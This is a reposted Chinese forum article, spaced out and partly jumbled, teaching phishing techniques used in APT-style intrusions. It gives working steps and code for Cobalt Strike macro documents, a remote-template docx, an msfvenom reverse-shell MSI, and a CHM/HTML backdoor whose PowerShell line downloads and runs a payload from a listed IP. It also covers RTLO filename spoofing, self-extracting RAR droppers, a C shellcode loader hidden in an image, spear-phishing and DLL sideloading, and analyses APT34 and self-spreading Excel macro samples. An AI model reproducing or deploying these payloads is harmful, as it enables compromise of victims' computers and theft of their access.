搜索

[26716] 2021-04-14_没有不上钩的鱼儿(上)_常用钓鱼手法

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-19
2021-04-14_没有不上钩的鱼儿(上)_常用钓鱼手法 1 2 没 有 不 上 钩 的 鱼 儿 ( 上 ) _ 常 用 钓 鱼 手 法 原 创   快 乐 鸡 哥   m o o n s e c   2 0 2 1 - 0 4 - 1 4 没 有 不 上 钩 的 鱼 儿 没 有 不 上 钩 的 鱼 儿 ( 上 上 ) _ 常 用 钓 鱼 手 常 用 钓 鱼 手 法 法 一 、 概 述 A P T （ A d v a n c e d P e r s i s t e n t   T h r e a t ， 高 级 持 续 性 威 胁 ） 是 在 网 络 空 间 上 常 见 的 攻 击 事 件 ， 具 有 攻 击 者 长 期 持 续 对 特 定 目 标 进 行 精 准 打 击 的 特 性 。 A P T 攻 击 入 侵 的 方 式 主 要 有 ： 鱼 叉 式 钓 鱼 、 I M 、 水 坑 攻 击 、 钓 鱼 网 站 、 1 / N d a y   漏 洞 、 0 d a y   漏 洞 和 物 理 接 触 。 入 侵 包 括 载 荷 投 递 和 突 破 防 御 两 个 阶 段 ， 各 种 入 侵 方 式 的 成 本 如 下 图 ： 处 于 金 字 塔 底 层 的 是 鱼 叉 式 钓 鱼 和 水 坑 攻 击 ， 它 是 最 常 见 、 入 侵 成 本 最 低 的 攻 击 方 式 。 攻 击 者 常 常 以 鱼 叉 邮 件 做 为 攻 击 入 口 ， 精 心 构 造 邮 件 标 题 、 正 文 和 附 件 。 水 坑 攻 击 则 是 侵 入 网 站 ， 加 入 恶 意 J S 伪 装 更 新 ， 或 是 伪 造 钓 鱼 网 站 一 步 步 窃 取 用 户 隐 私 。 金 字 塔 往 上 则 是 针 对 边 界 的 渗 透 攻 击 。 再 往 上 是 操 作 系 统 漏 洞 、 网 络 组 件 漏 洞 ， 以 及 o f f i c e ， A d o b e 等 应 用 漏 洞 利 用 。 再 往 上 则 是 供 应 链 攻 击 ， 如 驱 动 人 生 挖 矿 、 x s h e l l 、 x c o d e 、 华 硕 软 件 更 新 劫 持 等 事 件 。 顶 端 则 是 物 理 接 触 ， 如 闻 名 的 震 网 。 可 见 A P T 常 用 攻 击 手 法 是 多 变 的 ， 本 文 会 具 体 分 三 个 部 分 来 浅 析 各 种 常 见 的 攻 击 手 法 ： 常 见 钓 鱼 手 法 常 规 的 c s 宏 钓 鱼 宏 钓 鱼 操 作 手 法 A P T 3 4 的 w o r d 宏 分 析 利 用 d o c x 文 档 远 程 模 板 运 行 宏 e x c e l 宏 1 . 3 . 1 、 、 e x c e l 宏 操 作 手 法 宏 操 作 手 法 1 . 3 . 2 、 感 染 型 的 、 感 染 型 的 e x c e l 样 本 宏 分 析 样 本 宏 分 析 l n k 快 捷 方 式 C H M 电 子 书 替 换 图 标 及 R T L O r a r 解 压 执 行 s h e l l c o d e 图 片 隐 写 C S 鱼 叉 白 加 黑 那 些 年 的 漏 洞 O f f i c e 类 漏 洞 A d o b e 类 漏 洞 浏 览 器 类 漏 洞 其 他 漏 洞 钓 鱼 框 架 使 用 与 分 析 G o p h i s h S E T 二 、 常 见 的 钓 鱼 手 法 2 . 1     常 规 的 常 规 的 c s 宏 钓 鱼 宏 钓 鱼 2 . 1 . 1     宏 钓 鱼 操 作 手 法 宏 钓 鱼 操 作 手 法 依 次 点 击 A t t a c k s - > P a c k a g e s - > M S O f f i c e   M a c r o ： 选 择 所 用 的 监 听 器 ：
选 择 好 监 听 器 后 ， c o p y M a c r o 复 制 宏 ： W o r d 打 开 创 建 宏 的 面 板 ： 把 c s 的 宏 复 制 进 去 ， 注 意 需 要 选 择 A u t o _ O p e n ， 这 里 顺 带 解 释 下 复 制 黏 贴 这 段 宏 代 码 的 含 义 ， 首 先 定 义 P R O C E S S _ I N F O R M A T I O N 、 S T A R T U P I N F O 结 构 体 ： 所 需 要 用 到 的 几 个 函 数 C r e a t e R e m o t e T h r e a d 、 V i r t u a l A l l o c E x 、 W r i t e P r o c e s s M e m o r y 、 C r e a t e P r o c e s s A ： 接 着 是 s h e l l c o d e 部 分 ， s h e l l c o d e 功 能 就 是 下 载 b e a c o n . d l l 反 射 执 行 ： 最 后 是 主 要 的 操 作 ， 把 s h e l l c o d e 远 程 注 入 r u n d l l 3 2 . e x e 再 执 行 : C t r l + s 保 存 ， w o r d 文 档 另 存 为 d o c m 格 式 ， 然 后 双 击 打 开 该 文 档 ， 目 标 上 线 ， 。 注 意 ， 宏 里 的 m y A r r a y 里 面 的 s h e l l c o d e 要 进 行 免 杀 处 理 ， 不 然 会 被 杀 软 查 杀 。 2 . 1 . 2   A P T 3 4 的 的 w o r d 宏 分 析 宏 分 析 2 . 1 . 2 . 1 分 析 宏 分 析 宏 先 用 o l e d u m p . p y 把 文 档 中 的 宏 d u m p 下 来 ： 对 文 档 作 基 本 分 析 ， 显 示 文 件 中 的 s t r e a m 数 据 ， 有 1 7 段 ， 标 记 ‘ m ’ 则 有 V B A 宏 。
- s 段 号 ， - v 解 压 ， 该 命 令 表 示 解 压 全 部 段 的 宏 宏 主 要 内 容 如 下 ： 宏 功 能 比 较 清 晰 ： 1 、 读 取 了 表 格 1 行 、 2 5 列 和 1 行 、 2 6 列 的 内 容 ； 2 、 创 建 了 S c r i p t i n g . F i l e S y s t e m O b j e c t 和 W S c r i p t . S h e l l 对 象 ； 3 、 获 得 系 统 环 境 变 量 % P U B L I C % 路 径 ， 并 拼 接 字 符 串 ， c m d 1 内 容 为 用 p o w e r s h e l l 把 第 一 步 读 取 到 的 内 容 b a s e 6 4 解 码 后 ， 分 别 写 入 % p u b l i c % / L i b r a r y / f i r e e y e . v b s 、 % p u b l i c % / L i b r a r y / f i r e e y e . v b s 中 ， C m d 2 内 容 为 创 建 名 为 G o o g l e U p d a t e s T a s k M a c h i n e U I 每 隔 三 分 钟 执 行 % p u b l i c % / L i b r a r y / f i r e e y e . v b s 的 计 划 任 务 ； 4 、 F i l e S y s t e m O b j e c t 创 建 目 录 % P U B L I C % / L i b a r a r y / u p 、 d n 、 t p ； 5 、 执 行 c m d 命 令 。 2 . 1 . 2 . 2 分 析 解 密 出 来 的 分 析 解 密 出 来 的 f i r e e y e . v b s : 从 服 务 器 下 载 文 件 并 保 存 再 % p u b l i c % L i b r a r i s e d n 目 录 ， 文 件 名 从 响 应 头 的 C o n t e n t - D i s p o s i t i o n 字 段 获 得 ： 从 服 务 器 下 载 文 件 ， 保 存 在 % p u b l i c % L i b r a r i s e u p 目 录 并 执 行 ， 把 执 行 结 果 b a s e 6 4 编 码 后 传 回 服 务 器 后 自 删 除 : 执 行 f i r e e y e . p s 1 2 . 1 . 2 . 3 分 析 分 析 f i r e e y e . p s 1 行 为 行 为 : 该 脚 本 主 要 通 过 D N S 通 信 ， 原 理 是 将 子 域 名 的 A 记 录 解 析 到 不 同 I P 地 址 ， 首 先 生 成 不 同 的 子 域 名 ：
再 通 过 拼 接 不 同 的 子 域 名 获 取 到 对 应 I P 地 址 （ 数 据 ） ： 对 返 回 的 I P 地 址 作 解 析 ： 3 3 . 3 3 开 头 则 后 面 两 字 节 作 文 件 名 ， 并 设 置 f l a g ； 3 5 . 3 5 . 3 5 . 3 5 则 结 束 会 话 当 f l a g 为 1 ， 则 把 数 据 写 入 文 件 ： 主 体 流 程 如 下 ： 2 . 2   利 用 利 用 d o c x 文 档 远 程 模 板 运 行 宏 文 档 远 程 模 板 运 行 宏 创 建 宏 方 式 与 2 . 1 的 一 致 ， 所 得 的 d o c m 模 板 复 制 到 h t t p 服 务 器 上 ： 开 启 h t t p 服 务 器 ： 新 建 文 档 加 载 相 应 的 模 板 ： 然 后 保 存 ， 并 把 d o c x 后 缀 名 修 改 为 z i p : 解 压 后 找 到 w o r d _ r e l s s e t t i n g s . x m l . r e l s 文 件 中 的 t a r g e t 标 签 ， 该 标 签 目 前 表 示 加 载 本 地 的 宏 模 板 ：
把 t a r g e t 改 为 服 务 器 上 的 d o t m 文 件 ： 2 . 3   e x c e l 宏 宏 2 . 3 . 1   e x c e l 宏 操 作 手 法 宏 操 作 手 法 制 作 m s i 文 件 ： m s f v e n o m - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = < Y o u r   I P   A d d r e s s > L P O R T = < Y o u r   P o r t   t o   C o n n e c t   O n >   - f   m s i   - o   1 . m s i 建 立 监 听 ： 新 建 x l s x 文 件 ， 在 s h e e t 表 格 处 ， 右 击 插 入 宏 ： 宏 内 容 ， 这 里 可 以 隐 藏 宏 内 容 ： 然 后 另 存 为 x l s m 格 式 。 再 打 开 文 档 ， 启 动 宏 ， 反 弹 已 执 行 ： 2 . 3 . 2 感 染 型 的 感 染 型 的 e x c e l 样 本 宏 分 析 样 本 宏 分 析 先 打 开 文 档 a n a l t + f 1 1 查 看 宏 ， 当 文 档 打 开 先 后 调 用 d 2 p ( ) , a n t h o r i z e ( ) 两 个 函 数 ： 查 看 d 2 p ( ) 函 数 ， 该 函 数 主 要 作 用 在 C : U s e r s k e n t A p p D a t a R o a m i n g M i c r o s o f t E x c e l X L S T A R T 路 径 下 创 建 a n t h o r i z a t i o n . x l s 文 档 ， 并 复 制 该 样 本 代 码 的 前 1 0 0 行 到 a n t h o r i z a t i o n . x l s 中 ， 再 在 1 0 0 行 后 面 添 加 红 框 代 码 ， 最 用 调 用 W o r k b o o k s . o p e n 自 启 动 感 染 所 有 打 开 的 e x c e l 文 档 。 继 续 看 a n t h o r i z a t i o n ( ) 函 数 ， 先 用 G e t O b j e c t ( " w i n m g m t s : . " ) . i n s t a n c e s o f ( " W i n 3 2 _ P r o c e s s " ) 获 取 系 统 所 有 进 程 信 息 ， 并 判 断 i e x p l o r e . e x e 是 否 在 进 程 列 表 ； 如 果 不 再 进 程 列 表 则 先 打 开 o f f i c e 网 站 ； 如 果 在 进 程 列 表 则 用 隐 藏 方 式 打 开 2 3 4 5 网 站 ：
打 开 的 i e 进 程 ： 窗 口 句 柄 ： 再 来 查 看 生 成 的 a n t h o r i z a t i o n . x l s 文 档 ： 打 开 a n t h o r i z a t i o n . x l s 文 档 ， 查 看 宏 ， 先 后 调 用 r u n t i m e r ( ) 、 a n t h o r i z e ( ) 函 数 ：
跟 进 r u n t i m e r 函 数 ， 里 面 调 用 p 2 d d ( ) 函 数 ： 再 跟 进 p 2 d d ( ) 函 数 ， 该 函 数 用 于 感 染 其 他 打 开 的 文 档 ， 在   V B E   窗 口 操 作 打 开 T h i s W o r k b o o k 宏 ， 如 果 存 在 u p d a t e 等 相 关 关 键 字 则 把 原 始 代 码 删 除 ， 后 面 再 写 入 该 样 本 前 1 0 0 行 代 码 ， 并 拼 接 红 框 代 码 ： 查 看 a u t h o r i z e ( ) 函 数 ， 里 面 调 用 a u t h o r i z a t i o n ( ) 函 数 ， a u t h o r i z a t i o n ( ) 该 函 数 功 能 已 讲 过 ， 不 再 赘 述 ， 被 感 染 的 e x c l e 文 档 与 a n t h o r i z a t i o n . x l s 文 档 T h i s W o r k b o o k 宏 代 码 一 致 , 也 不 再 赘 述 。 2 . 4   l n k   快 捷 方 式 快 捷 方 式 依 次 点 击 A t t a c k s - > P a c k a g e s - > H T M L A p p l i c a t i o n ： 选 择 好 l i s t e n e r 和 m o t h o d 后 ， 这 里 的 m e t h o d 选 择 p o w e r s h e l l 方 式 ， 然 后 生 成 相 应 p s 1 脚 本 ， 再 把 脚 本 放 在 相 应 的 h t t p 服 务 器 上 ， 也 可 以 用 c s 的 h o s t a   f i l e 功 能 ： 然 后 新 建 快 捷 方 式 ， 选 择 好 相 应 的 程 序 ， 填 入 相 应 的 目 标 地 址 ： 目 标 地 址 如 下 ： 可 以 更 改 图 标 增 加 迷 惑 性 ： 执 行 上 线 ： 2 . 5   C H M 电 子 书 电 子 书 这 种 后 门 是 较 为 隐 秘 的 后 门 ， 先 新 建 文 本 ， 再 复 制 下 面 的 代 码 到 文 本 中 ： C : W i n d o w s S y s t e m 3 2 W i n d o w s P o w e r S h e l l v 1 . 0 p o w e r s h e l l . e x e - e x e c   b y p a s s   - c   I E X   ( N e w - O b j e c t S y s t e m . N e t . W e b c l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / 1 9 2 . 1 6 8 . 2 0 2 . 1 3 1 : 8 0 8 0 / p a y l o a d . p s 1 ' ) < ! D O C T Y P E h t m l > < h t m l > < h e a d > < t i t l e > M o u s e j a c k r e p l a y < / t i t l e > < h e a d > < / h e a d > < b o d y > c o m m a n d e x e c < O B J E C T i d = x   c l a s s i d = " c l s i d : a d b 8 8 0 a 6 - d 8 f f - 1 1 c f - 9 3 7 7 - 0 0 a a 0 0 3 b 7 a 1 1 " w i d t h = 1   h e i g h t = 1 > < P A R A M n a m e = " C o m m a n d "   v a l u e = " S h o r t C u t " >
然 后 把 文 本 另 存 为 h t m l 格 式 ， A N S I 编 码 。 接 着 使 用 E a s y C H M 制 作 相 应 的 C H M 电 子 书 ， 打 开 E a s y C H M 后 ， 依 次 点 击 新 建 - > 浏 览 - > 选 择 h t m l 文 件 所 在 所 在 的 目 录 ： 点 击 编 译 ， 生 成 C H M 电 子 书 。 双 击 运 行 电 子 书 ， 运 行 上 线 ： 2 . 6 替 换 图 标 及 替 换 图 标 及 R T L O 这 种 替 换 执 行 程 序 图 标 外 加 上 R T L O 这 手 法 挺 常 见 的 ， 蓝 莲 花 等 组 织 也 有 用 过 ， 使 用 R e s t o r a t o r 工 具 可 以 轻 松 地 替 换 掉 图 标 。 被 替 换 掉 图 标 的 程 序 ： R T L O ( R i g h t - t o - L e f t O v e r r i d e ) ， 是 一 个 微 软 的 中 东 U n i c o d e 字 符 ， 使 电 脑 将 任 意 语 言 的 文 字 内 容 按 倒 序 排 列 ， 最 初 是 用 来 支 持 一 些 从 右 往 左 写 的 语 言 的 文 字 。 A r t i f a c t . e x e 利 用 R L O 后 名 字 改 为 a r t f a c t e x e . m p 4 执 行 上 线 ： 2 . 7   r a r 解 压 执 行 解 压 执 行 R a r 解 压 执 行 这 种 方 式 可 以 把 两 个 不 同 的 文 件 捆 绑 在 一 起 ， 然 后 利 用 w i n r a r 解 压 执 行 ， 但 免 杀 效 果 好 像 挺 一 般 。 同 时 选 中 两 个 文 件 ， 将 其 添 加 到 压 缩 包 ， 并 勾 选 创 建 自 解 压 格 式 压 缩 文 件 ： 依 次 点 击 高 级 - > 自 解 压 选 项 - > 常 规 ， 填 入 相 应 的 解 压 路 径 ： < P A R A M   n a m e = " B u t t o n "   v a l u e = " B i t m a p : : s h o r t c u t " > < P A R A M   n a m e = " I t e m 1 " v a l u e = " , c m d . e x e , / c C : W i n d o w s S y s t e m 3 2 W i n d o w s P o w e r S h e l l v 1 . 0 p o w e r s h e l l . e x e - e x e c   b y p a s s   - c   I E X   ( N e w - O b j e c t S y s t e m . N e t . W e b c l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / 1 9 2 . 1 6 8 . 2 0 2 . 1 3 1 : 8 0 8 0 / p a y l o a d . p s 1 ' ) " < P A R A M   n a m e = " I t e m 2 "   v a l u e = " 2 7 3 , 1 , 1 " > < / O B J E C T > < S C R I P T > x . C l i c k ( ) ; < / S C R I P T > < / b o d y > < / h t m l >
点 击 设 置 ， 填 入 需 要 运 行 的 程 序 ： 点 击 模 式 选 项 卡 ， 选 择 全 部 隐 藏 ： 点 击 更 新 选 项 卡 ， 选 择 解 压 并 更 新 文 件 和 覆 盖 所 有 文 件 ： 最 后 得 到 e x e 压 缩 包 ： 执 行 压 缩 包 程 序 上 线 ： 2 .   8   s h e l l c o d e 图 片 隐 写 图 片 隐 写 该 手 法 较 为 常 见 ， 可 以 把 有 代 码 的 图 片 放 在 本 地 或 者 网 上 来 加 载 或 通 信 。 使 用 h t t p s : / / g i t h u b . c o m / M r - U n 1 k 0 d 3 r / D K M C 该 项 目 把 s h e l l c o d e 隐 写 到 图 片 中 。 先 用 p y t h o n d k m c . p y ， 运 行 项 目 ， 然 后 使 用 s c 命 令 再 用 s e t s o u r c e   s h e l l c o d e . t x t 设 置 s h e l l c o e 文 本 或 使 用 g e n 命 令 再 使 用 s e t s h e l l c o d e 设 置 具 体 的 s h e l l c o d e ， 再 r u n 运 行 得 到 插 入 s h e l l c o d e 的 图 片 ： 使 用 加 载 器 读 取 图 片 ， 执 行 s h e l l c o d e ， 加 载 器 使 用 平 时 读 取 文 件 的 加 载 器 就 可 以 ： # i n c l u d e < s t d i o . h > # i n c l u d e < w i n d o w s . h > i n t m a i n ( i n t   a r g c ,   c h a r *   a r g v [ ] )   { H A N D L E h F i l e   =   C r e a t e F i l e ( " D : o u t . b m p " ,   G E N E R I C _ R E A D , F I L E _ S H A R E _ R E A D ,   N U L L ,   O P E N _ A L W A Y S ,   F I L E _ A T T R I B U T E _ N O R M A L ,   N U L L ) ; i f ( h F i l e   = =   I N V A L I D _ H A N D L E _ V A L U E ) { p r i n t f ( " E r r o r " ) ; r e t u r n - 1 ; } D W O R D d w S i z e ; d w S i z e =   G e t F i l e S i z e ( h F i l e ,   N U L L ) ; L P V O I D l p A d d r e s s   =   V i r t u a l A l l o c ( N U L L ,   d w S i z e ,   M E M _ C O M M I T , P A G E _ E X E C U T E _ R E A D W R I T E ) ; i f ( l p A d d r e s s   = =   N U L L ) {
执 行 上 线 ： 这 里 解 释 这 个 项 目 的 原 理 ： 项 目 把 s h e l l c o d e 保 存 在 b m p 文 件 的 后 面 ， 0 x 4 2 与 0 x 4 d 是 无 关 紧 要 的 字 节 码 ， 然 后 跳 到 原 来 图 片 文 件 的 尾 部 ， 开 始 执 行 s h e l l c o d e 。 2 . 9   C S 鱼 叉 鱼 叉 依 次 点 击 A t t a c k s - > S p e a r P h i s h ， 根 据 需 要 依 次 填 入 相 应 的 信 息 ： T a r g e t 是 需 要 发 送 到 标 的 邮 箱 地 址 ， 格 式 为 , 中 间 为 t a b 键 ： 1 2 3 4 5 6 @ q q . c o m   n a m e T e m p a l t e 是 邮 件 的 模 板 ， 打 开 邮 件 原 文 ， 再 右 键 另 存 为 ： A t t a c h m e n t 是 索 要 添 加 的 附 件 ； E m b e d U R L 是 邮 件 里 的 链 接 点 击 后 所 要 跳 转 的 U R L ; M a i l S e r v e r 是   邮 件 的 S M T P 设 置 ， 需 要 设 置 好 ； B o u n c e T o 是 邮 件 内 显 示 的 发 送 人 ； 当 东 西 设 置 好 后 ， 点 击 s e n d ， q q 邮 箱 收 到 相 应 的 邮 件 : 2 . 1 0   白 加 黑 白 加 黑 白 加 黑 ， 该 手 法 简 单 来 说 就 是 一 个 白 名 单 的 e x e 程 序 在 动 态 加 载 d l l 时 ， 由 于 没 有 对 d l l 进 行 安 全 校 验 ， 导 致 加 载 了 同 目 录 下 攻 击 者 所 创 建 的 恶 意 d l l ， 因 为 该 手 法 免 杀 效 果 良 好 ， 所 以 一 直 以 来 都 比 较 常 用 。 这 里 用 网 上 一 个 实 例 来 加 以 说 明 ： 这 里 有 1 . e x e 和 w w l i b . d l l ， 其 中 1 . e x e 是 带 有 微 软 签 名 信 息 的 程 序 ， 所 以 1 . e x e 是 不 会 报 毒 的 。 { p r i n t f ( " E r r o r " ) ; r e t u r n - 1 ; } R t l Z e r o M e m o r y ( l p A d d r e s s , d w S i z e ) ; D W O R D d w R e a d ; R e a d F i l e ( h F i l e , l p A d d r e s s ,   d w S i z e ,   & d w R e a d ,   0 ) ; s y s t e m ( " p a u s e " ) ; _ _ a s m { c a l l l p A d d r e s s ; } _ f l u s h a l l ( ) ; r e t u r n 0 ; }
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理